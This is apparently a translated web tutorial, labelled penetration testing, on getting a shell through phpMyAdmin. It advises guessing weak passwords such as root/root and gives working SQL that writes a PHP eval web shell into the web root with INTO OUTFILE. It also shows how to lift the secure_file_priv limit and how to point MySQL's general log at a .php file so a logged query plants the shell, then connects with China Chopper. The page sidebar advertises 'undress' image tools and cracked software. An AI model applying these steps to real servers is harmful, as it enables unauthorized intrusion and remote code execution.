The following is the tutorial column of phpmyadmin to introduce you to PhpMyAdmin background getshell (penetration test). I hope it will be helpful to friends in need!
PhpMyAdmin Introduction
PhpMyAdmin is based on PHP and structured in Web-Base. The MySQL database management tool on the website host allows administrators to use the Web interface to manage the MySQL database. This web interface can be a better way to input complex SQL syntax in a simple way, especially when it comes to importing and exporting large amounts of data.
After collecting and detecting the target information, when it is found that the phpmyadmin directory exists (try: http://ip:port/phpmyadmin/
), then After entering the management background through a weak password (, you can directly try the account root password root) or brute force cracking, there are many ways to getshell.
into outfile export Trojan
If you want to insert a Trojan inside the website, the premise is that you have to know the absolute path of the website. There are many methods, such as obtaining the path by reporting an error, and passing phpinfo.php and so on (please refer to another blog post: https://blog.csdn.net/weixin_39190897/article/details/99078864).
The most convenient way is to use select @@basedir;
to check directly (but sometimes you can’t find it out, you can only find other methods):
According to the above feedback, we can see that the location of MySQL is in the D:\soft\phpStudy\MySQL\
directory.
After obtaining the website path, you can attempt to upload the Trojan. The most commonly used method is to write a sentence of Trojan directly on the root directory of the website through into outfile
:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';
But in the new version In mysql, this sentence did not run successfully.
Mysql new features secure_file_priv
will have an impact on reading and writing files. This parameter is used to limit import and export. We can use the show global variables like '%secure%';
command to view this parameter:
When secure_file_priv
is NULL, it means that Mysql is not restricted Import and export are allowed, so an error occurs. To make the statement export successfully, you need to modify the my.ini
file in the Mysql folder and add secure_file_priv =""
to [mysqld]:
When the value of secure_file_priv
has no specific value, it means that there is no restriction on the import|export of mysqld, and the export command can be executed at this time.
Using Mysql log files
Mysql version 5.0 and above will create log files, and you can also getshell by modifying the global variables of the log. But you must also have read and write permissions on the generated logs. (Note: The personal test on Linux was unsuccessful due to permission issues). First, let’s introduce two MySQL global variables: general_log
and general_log file
.
- general log refers to the log saving status, ON means open, OFF means closed;
- general log file refers to the log save path.
Command to view log status: show variables like '%general%';
## In the above configuration, when general is turned on,
The executed sql statements will appear in the WIN-30DFNC8L78A.log file
.
Then, if the value of general_log_file
is modified, the executed sql statement will be generated correspondingly, and then getshell will be generated.
Correspondingly, the xxx.php file will be generated
Write a sentence Trojan into the xxx.php file: SELECT '<?php eval ($_POST["cmd"]);?>'
Then you can see the Trojan horse statements recorded in the log file: Finally, China Chopper connects, getshell :
The above is the detailed content of PhpMyAdmin background getshell (penetration test). For more information, please follow other related articles on the PHP Chinese website!

phpMyAdmin simplifies MySQL database management through the web interface. 1) Create databases and tables: Use graphical interface to operate easily. 2) Execute complex queries: such as JOIN query, implemented through SQL editor. 3) Optimization and best practices: including SQL query optimization, index management and data backup.

MySQL is a database management system, and phpMyAdmin is a web tool for managing MySQL. 1.MySQL is used to store and manage data and supports SQL operations. 2.phpMyAdmin provides a graphical interface to simplify database management.

phpMyAdmin provides an intuitive interface through the browser to help manage MySQL databases. 1. Create a database and table: Enter the code in the "SQL" tab and execute it. 2. Optimize table: Use the "OPTIMIZETABLE" command to improve query performance. 3. Permission management: Use the "SHOWGRANTS" and "GRANT" commands to check and modify permissions. 4. Performance optimization: regularly optimize tables, use indexes, and avoid large-scale imports.

MySQL and phpMyAdmin are powerful database tools, and their combination provides convenience for database management. MySQL's high performance, scalability and security make it the first choice for database engines, while phpMyAdmin's database management, data import and export, and user management capabilities simplify database operations. The actual case shows how they work together, and provides optimization strategies such as index optimization, query optimization, caching mechanism and phpMyAdmin configuration tuning to improve performance.

SQL's role in phpMyAdmin is multifaceted, including data operation, database design, optimization and maintenance. 1.SQL is used for basic data operations, such as querying and inserting data. 2.SQL supports complex queries, view creation and stored procedure writing. 3. In phpMyAdmin, SQL commands are executed through the MySQL server, and the results are displayed in a table form. 4. Users can perform performance optimization through SQL, such as indexing and query optimization.

The combination of phpMyAdmin and SQL allows users to directly enter and execute SQL commands, implementing more complex queries and database management. 1) In phpMyAdmin, you can execute SQL commands, such as SELECTFROMusersWHEREage>30; 2) Use the EXPLAIN command to analyze the execution plan of the query and optimize performance; 3) By creating indexes, avoiding SELECT and using LIMIT, the query efficiency can be significantly improved.

phpMyAdmin is a tool for managing MySQL and MariaDB databases through a web interface. 1) Create a database: Use the CREATEDATABASE command. 2) Create table and insert data: Use the CREATETABLE and INSERTINTO commands. 3) Create a view: Use the CREATEVIEW command to simplify querying. 4) Optimize table: Use the OPTIMIZETABLE command to improve query speed.

phpMyAdminisnotadatabase;it'saweb-basedtoolformanagingMySQLandMariaDBdatabases.Itoffersfeatureslikecreating/modifyingdatabases,executingSQLqueries,managingusers/permissions,andimporting/exportingdata.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

EditPlus Chinese cracked version
Small size, syntax highlighting, does not support code prompt function

SublimeText3 English version
Recommended: Win version, supports code prompts!

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

Dreamweaver Mac version
Visual web development tools

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.
